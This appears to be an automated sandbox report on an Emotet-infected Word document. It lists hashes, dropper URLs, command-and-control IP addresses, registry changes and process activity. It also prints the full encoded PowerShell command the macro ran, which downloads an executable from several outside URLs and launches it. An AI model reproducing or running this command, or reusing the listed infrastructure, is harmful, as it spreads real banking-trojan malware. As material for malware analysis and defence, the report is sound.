emotet | ecdf26dffbf572bde7ae3b7fbc4f92e958dcf41f047a8af086e131173c49090d

Analysis

max time kernel
149s
max time network
93s
platform
windows7_x64
resource
win7v200217
submitted
19-02-2020 13:59

Sharing

Copy URL

Twitter E-mail

General

Target

2020-01-23_142841.doc
Size

133KB
MD5

2f5fe15e47f52d61ad72e59a003ad2a3
SHA1

675f581fc753a0fcc6ce8148619b097f34414692
SHA256

0d098b88f58e5221382b6a9a16d0063641a64743c516c3c6dd8b2f250372db36
SHA512

ef34e847982626ecdee37954e59ecb72f3fcf14317b9e63dbe7ebb88996fe160ea7d65691e70b97cf163760dd74227408c290d0ad3da2a8e5bc6a313c3446c00

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://lazisnukolomayan.com/calendar/1vtyb93/

exe.dropper

http://lhs-kitchen.com/onytljej362jfjwe/k72/

exe.dropper

http://mail.ukfunkyfest.com/wp-content/Jsce447/

exe.dropper

http://crowdupdating.jelingu.com/demo/mdqw1/

exe.dropper

http://dewabarbeque.com/onytljej362jfjwe/M2De/

Extracted

Family

emotet

70.180.35.211:80

74.108.124.180:80

85.105.205.77:8080

23.92.16.164:8080

45.55.65.123:8080

217.160.19.232:8080

176.9.43.37:8080

59.103.164.174:80

70.184.9.39:8080

202.175.121.202:8090

62.75.187.192:8080

217.160.182.191:8080

201.184.105.242:443

78.142.114.69:80

159.65.25.128:8080

104.236.246.93:8080

152.168.248.128:443

24.105.202.216:443

121.88.5.176:443

92.222.216.44:8080

rsa_pubkey.plain

Signatures

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

Powershell.exe

description pid process

Token: SeDebugPrivilege 1996 Powershell.exe
Blacklisted process makes network request 1 IoCs

Processes:

Powershell.exe

flow pid process

4 1996 Powershell.exe
Executes dropped EXE 4 IoCs

Processes:

779.exe779.exeptrwce.exeptrwce.exe

pid process

1528 779.exe
240 779.exe
1648 ptrwce.exe
1636 ptrwce.exe
Office loads VBA resources, possible macro or embedded object present

description	pid	process
Token: SeDebugPrivilege	1996	Powershell.exe

flow	pid	process
4	1996	Powershell.exe

pid	process
1528	779.exe
240	779.exe
1648	ptrwce.exe
1636	ptrwce.exe

Modifies registry class 280 IoCs

Processes:

WINWORD.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{8BD21D62-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{B08EE94D-434F-442F-82DE-D09A4C450F19}\2.0\FLAGS	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLOption"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{5512D11F-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{8BD21D32-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{04598FC2-866C-11CF-AB7C-00AA00C08FCF}\ = "ITabStrip"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{47FF8FE2-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{8BD21D23-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcList"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{8BD21D43-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcCheckBox"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{04598FC3-866C-11CF-AB7C-00AA00C08FCF}\ = "IScrollbar"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{944ACF93-A1E6-11CE-8104-00AA00611080}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{8BD21D12-EC42-11CE-9E0D-00AA006002F3}\ = "MdcTextEvents"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{04598FC9-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{B08EE94D-434F-442F-82DE-D09A4C450F19}\2.0\FLAGS\ = "6"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{8BD21D13-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLCheckbox"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{79176FB2-B7F2-11CE-97EF-00AA006D2776}	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{B08EE94D-434F-442F-82DE-D09A4C450F19}\2.0\HELPDIR\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\VBE"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\TypeLib\{B08EE94D-434F-442F-82DE-D09A4C450F19}\2.0\FLAGS\ = "6"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLCheckbox"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F}\ = "TabStripEvents"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\TypeLib\{B08EE94D-434F-442F-82DE-D09A4C450F19}\2.0\ = "Microsoft Forms 2.0 Object Library"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{8BD21D12-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{47FF8FE8-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents9"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{47FF8FE2-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{92E11A03-7358-11CE-80CB-00AA00611080}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\TypeLib\{B08EE94D-434F-442F-82DE-D09A4C450F19}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{8BD21D63-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcToggleButton"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{A38BFFC3-A5A0-11CE-8107-00AA00611080}\ = "Tab"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{4C599243-6926-101B-9992-00000B65C6F9}\ = "IImage"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{8BD21D42-EC42-11CE-9E0D-00AA006002F3}\ = "MdcCheckBoxEvents"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{82B02372-B5BC-11CF-810F-00A0C9030074}\ = "IReturnString"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{04598FC6-866C-11CF-AB7C-00AA00C08FCF}\ = "IControl"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{8BD21D12-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{82B02371-B5BC-11CF-810F-00A0C9030074}\ = "IReturnBoolean"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{8A683C91-BA84-11CF-8110-00A0C9030074}\ = "IReturnEffect"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{8BD21D53-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{4C599243-6926-101B-9992-00000B65C6F9}\ = "IImage"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{8BD21D12-EC42-11CE-9E0D-00AA006002F3}\ = "MdcTextEvents"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\TypeLib\{B08EE94D-434F-442F-82DE-D09A4C450F19}\2.0\FLAGS	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{82B02371-B5BC-11CF-810F-00A0C9030074}\ = "IReturnBoolean"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{82B02372-B5BC-11CF-810F-00A0C9030074}\ = "IReturnString"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{5B9D8FC8-4A71-101B-97A6-00000B65C08B}\ = "FormEvents"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{5B9D8FC8-4A71-101B-97A6-00000B65C08B}\ = "FormEvents"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{79176FB3-B7F2-11CE-97EF-00AA006D2776}\ = "ISpinbutton"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{8BD21D32-EC42-11CE-9E0D-00AA006002F3}\ = "MdcComboEvents"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{B08EE94D-434F-442F-82DE-D09A4C450F19}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{04598FC8-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{8BD21D62-EC42-11CE-9E0D-00AA006002F3}\ = "MdcToggleButtonEvents"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLReset"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{5512D11F-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLPassword"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{47FF8FE1-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{47FF8FE1-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents2"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{82B02370-B5BC-11CF-810F-00A0C9030074}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{82B02372-B5BC-11CF-810F-00A0C9030074}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{8A683C90-BA84-11CF-8110-00A0C9030074}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{04598FC6-866C-11CF-AB7C-00AA00C08FCF}\ = "IControl"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{978C9E22-D4B0-11CE-BF2D-00AA003F40D0}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{8BD21D22-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{8BD21D42-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

1852 WINWORD.EXE

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

Powershell.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1996	1960	Powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

Powershell.exe779.exeptrwce.exe

description	pid	process	target process
PID 1996 wrote to memory of 1528	1996	Powershell.exe	779.exe
PID 1996 wrote to memory of 1528	1996	Powershell.exe	779.exe
PID 1996 wrote to memory of 1528	1996	Powershell.exe	779.exe
PID 1996 wrote to memory of 1528	1996	Powershell.exe	779.exe
PID 1528 wrote to memory of 240	1528	779.exe	779.exe
PID 1528 wrote to memory of 240	1528	779.exe	779.exe
PID 1528 wrote to memory of 240	1528	779.exe	779.exe
PID 1528 wrote to memory of 240	1528	779.exe	779.exe
PID 1648 wrote to memory of 1636	1648	ptrwce.exe	ptrwce.exe
PID 1648 wrote to memory of 1636	1648	ptrwce.exe	ptrwce.exe
PID 1648 wrote to memory of 1636	1648	ptrwce.exe	ptrwce.exe
PID 1648 wrote to memory of 1636	1648	ptrwce.exe	ptrwce.exe

Drops file in System32 directory 3 IoCs

Processes:

ptrwce.exePowershell.exe779.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	ptrwce.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	Powershell.exe
File renamed	C:\Users\Admin\779.exe => C:\Windows\SysWOW64\ptrwce.exe	779.exe

Suspicious use of SetWindowsHookEx 24 IoCs

Processes:

WINWORD.EXE779.exe779.exeptrwce.exeptrwce.exe

pid	process
1852	WINWORD.EXE
1852	WINWORD.EXE
1852	WINWORD.EXE
1852	WINWORD.EXE
1852	WINWORD.EXE
1852	WINWORD.EXE
1852	WINWORD.EXE
1852	WINWORD.EXE
1852	WINWORD.EXE
1852	WINWORD.EXE
1852	WINWORD.EXE
1852	WINWORD.EXE
1852	WINWORD.EXE
1852	WINWORD.EXE
1852	WINWORD.EXE
1852	WINWORD.EXE
1528	779.exe
1528	779.exe
240	779.exe
240	779.exe
1648	ptrwce.exe
1648	ptrwce.exe
1636	ptrwce.exe
1636	ptrwce.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

Powershell.exeptrwce.exe

pid process

1996 Powershell.exe
1996 Powershell.exe
1996 Powershell.exe
1636 ptrwce.exe

pid	process
1996	Powershell.exe
1996	Powershell.exe
1996	Powershell.exe
1636	ptrwce.exe

C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\2020-01-23_142841.doc"
1⤵
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1852

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
Powershell -w hidden -en JABIAG4AdwB6AHoAegB1AGQAYQB2AHMAcwA9ACcAWgBtAGUAYQBjAGwAYwB4AGsAZgAnADsAJABOAGIAbgByAGoAZAB2AHcAegBlAGwAYgAgAD0AIAAnADcANwA5ACcAOwAkAEwAawBjAGoAYgB0AGIAbQB3AGgAbgBoAGsAPQAnAEEAcgB5AHIAbABtAHgAbQBhAGwAJwA7ACQASQBqAGgAdgBjAHMAcwB1AGoAZABuAGcAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAE4AYgBuAHIAagBkAHYAdwB6AGUAbABiACsAJwAuAGUAeABlACcAOwAkAFAAagBjAHEAZgBhAGQAagB0AHgAbQA9ACcAUQB3AGQAZgBxAHMAcgBuAHMAeAB0AGgAYwAnADsAJABYAGcAcAB2AHMAcABjAGcAZwBtAHMAPQAmACgAJwBuAGUAJwArACcAdwAtAG8AJwArACcAYgBqAGUAYwB0ACcAKQAgAG4AZQBUAC4AdwBlAGIAYwBsAGkAZQBOAFQAOwAkAFIAZABuAGgAcgB2AGsAawA9ACcAaAB0AHQAcAA6AC8ALwBsAGEAegBpAHMAbgB1AGsAbwBsAG8AbQBhAHkAYQBuAC4AYwBvAG0ALwBjAGEAbABlAG4AZABhAHIALwAxAHYAdAB5AGIAOQAzAC8AKgBoAHQAdABwADoALwAvAGwAaABzAC0AawBpAHQAYwBoAGUAbgAuAGMAbwBtAC8AbwBuAHkAdABsAGoAZQBqADMANgAyAGoAZgBqAHcAZQAvAGsANwAyAC8AKgBoAHQAdABwADoALwAvAG0AYQBpAGwALgB1AGsAZgB1AG4AawB5AGYAZQBzAHQALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBKAHMAYwBlADQANAA3AC8AKgBoAHQAdABwADoALwAvAGMAcgBvAHcAZAB1AHAAZABhAHQAaQBuAGcALgBqAGUAbABpAG4AZwB1AC4AYwBvAG0ALwBkAGUAbQBvAC8AbQBkAHEAdwAxAC8AKgBoAHQAdABwADoALwAvAGQAZQB3AGEAYgBhAHIAYgBlAHEAdQBlAC4AYwBvAG0ALwBvAG4AeQB0AGwAagBlAGoAMwA2ADIAagBmAGoAdwBlAC8ATQAyAEQAZQAvACcALgAiAHMAYABwAGwAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQATwB4AGMAeQBjAGYAbQBkAHQAcQA9ACcASABvAHEAZABmAGgAcwB2AHEAJwA7AGYAbwByAGUAYQBjAGgAKAAkAFEAcgBnAG4AZABwAHkAeQB3AGQAIABpAG4AIAAkAFIAZABuAGgAcgB2AGsAawApAHsAdAByAHkAewAkAFgAZwBwAHYAcwBwAGMAZwBnAG0AcwAuACIARABgAG8AdwBOAEwAYABvAGEARABgAEYAaQBsAGUAIgAoACQAUQByAGcAbgBkAHAAeQB5AHcAZAAsACAAJABJAGoAaAB2AGMAcwBzAHUAagBkAG4AZwApADsAJABLAHQAaAB6AHcAbQBqAGoAYwA9ACcAVQB2AHYAbwBwAHMAZQBzAGsAcABoAGwAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABJAGoAaAB2AGMAcwBzAHUAagBkAG4AZwApAC4AIgBMAGUATgBnAGAAVABIACIAIAAtAGcAZQAgADIAOAAwADQAMwApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBzAHQAQQBgAFIAVAAiACgAJABJAGoAaAB2AGMAcwBzAHUAagBkAG4AZwApADsAJABUAG4AegBrAHIAdQB1AHIAPQAnAFUAZwBwAHIAagBnAGcAcwBvACcAOwBiAHIAZQBhAGsAOwAkAEkAcgByAHoAcgB4AGoAcgBjAGgAdwB6AD0AJwBWAGoAcwB3AHoAYQBkAGMAagB1AG0AbwAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABJAGIAcwB3AGYAZwBsAHcAPQAnAEEAdwBrAGEAcAB4AHgAZwB2AHkAJwA=
1⤵
- Suspicious use of AdjustPrivilegeToken
- Blacklisted process makes network request
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:1996

C:\Users\Admin\779.exe
"C:\Users\Admin\779.exe"
2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
- Suspicious use of SetWindowsHookEx
PID:1528

C:\Users\Admin\779.exe
--f218d4d7
3⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
PID:240

C:\Windows\SysWOW64\ptrwce.exe
"C:\Windows\SysWOW64\ptrwce.exe"
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
- Suspicious use of SetWindowsHookEx
PID:1648

C:\Windows\SysWOW64\ptrwce.exe
--56d598dd
2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: EnumeratesProcesses
PID:1636

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\779.exe

Download Submit
C:\Users\Admin\779.exe

Download Submit
C:\Users\Admin\779.exe

Download Submit
C:\Windows\SysWOW64\ptrwce.exe

Download Submit
C:\Windows\SysWOW64\ptrwce.exe

Download Submit
memory/240-12-0x00000000002A0000-0x00000000002B5000-memory.dmp

Filesize
84KB

Download
memory/1528-10-0x00000000002E0000-0x00000000002F5000-memory.dmp

Filesize
84KB

Download
memory/1636-16-0x00000000003A0000-0x00000000003B5000-memory.dmp

Filesize
84KB

Download
memory/1648-14-0x0000000000250000-0x0000000000265000-memory.dmp

Filesize
84KB

Download
memory/1852-4-0x0000000007460000-0x0000000007660000-memory.dmp

Filesize
2.0MB

Download
memory/1852-5-0x000000000A210000-0x000000000A214000-memory.dmp

Filesize
16KB

Download
memory/1852-7-0x000000000A210000-0x000000000A214000-memory.dmp

Filesize
16KB

Download
memory/1852-3-0x0000000007460000-0x0000000007660000-memory.dmp

Filesize
2.0MB

Download
memory/1852-2-0x00000000080C0000-0x00000000080C4000-memory.dmp

Filesize
16KB

Download
memory/1852-1-0x0000000007460000-0x0000000007660000-memory.dmp

Filesize
2.0MB

Download
memory/1852-0-0x0000000000473000-0x0000000000477000-memory.dmp

Filesize
16KB

Download